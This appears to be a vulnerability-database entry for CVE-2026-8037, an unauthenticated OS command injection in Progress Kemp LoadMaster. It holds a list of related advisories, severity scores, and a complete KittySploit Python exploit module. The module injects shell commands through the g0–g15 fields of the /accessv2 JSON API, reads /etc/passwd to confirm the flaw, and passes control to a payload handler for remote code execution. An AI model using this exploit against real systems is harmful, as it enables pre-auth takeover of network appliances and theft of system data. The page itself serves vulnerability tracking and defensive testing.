Progress LoadMaster Command Injection (CVE-2026-8037)
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
| CVE-2026-8037 | 4 Jun 202613:13 | – | attackerkb | |
| The vulnerability of the load balancer Progress Kemp LoadMaster, related to the failure to perform data cleaning at the management level, allows a perpetrator to execute arbitrary commands. | 10 Aug 202600:00 | – | bdu_fstec | |
| Exploit for CVE-2026-8037 | 30 Jun 202607:57 | – | githubexploit | |
| CVE-2026-8037 | 5 Jun 202610:19 | – | circl | |
| Progress LoadMaster Command Injection Vulnerability | 7 Aug 202600:00 | – | cisa_kev | |
| Progress Software多款产品 命令注入漏洞 | 4 Jun 202600:00 | – | cnnvd | |
| CVE-2026-8037 | 4 Jun 202613:13 | – | cve | |
| CVE-2026-8037 OS Command Injection Remote Code Execution Vulnerability in Progress LoadMaster, ECS Connection Manager, Object Scale Connection Manager & MOVEit WAF | 4 Jun 202613:13 | – | cvelist | |
| EUVD-2026-34260 | 4 Jun 202613:13 | – | euvd | |
| CVE-2026-8037-POC | 12 Oct 202617:52 | – | kitploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Progress Kemp LoadMaster pre-auth command injection (CVE-2026-8037)."""
import json
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Progress LoadMaster Command Injection (CVE-2026-8037)',
'description': (
'Exploits CVE-2026-8037 unauthenticated OS command injection in Progress ADC '
'LoadMaster /accessv2 JSON API via malformed g0-g15 fields (WatchTowr pattern).'
),
'author': ['KittySploit Team', 'WatchTowr'],
'cve': ['CVE-2026-8037'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2026-8037',
'https://labs.watchtowr.com/enterprise-tech-in-shell-out-progress-kemp-loadmaster-uninitialized-heap-to-pre-auth-rce-cve-2026-8037/',
],
'tags': ['loadmaster', 'kemp', 'progress', 'rce', 'pre-auth', 'kev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/cve_2026_8037_detect'],
},
},
}
def _injection_body(self, cmd: str) -> str:
safe = str(cmd).replace('"', '\\"')
inject = f'AAAAAAAAAAAAAAAA"; {safe} #'
fields = {f'g{i}': inject for i in range(16)}
payload = {
'cmd': 'getall',
'apiuser': "''''",
'apipass': 'BBBBB',
**fields,
}
return json.dumps(payload)
def execute(self, cmd: str) -> str:
r = self.http_request(
method='POST',
path='/accessv2',
data=self._injection_body(cmd),
headers={'Content-Type': 'application/json', 'Accept': '*/*'},
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('cat /etc/passwd')
if re.search(r'root:.*:0:0:', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2026-8037 command injection confirmed',
'confidence': 'high',
}
return {'vulnerable': False, 'reason': 'No passwd output from /accessv2', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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05 Oct 2026 14:20Current
8.1High risk
Vulners AI Score8.1
CVSS 3.19.6 - 9.8
EPSS0.77362
SSVC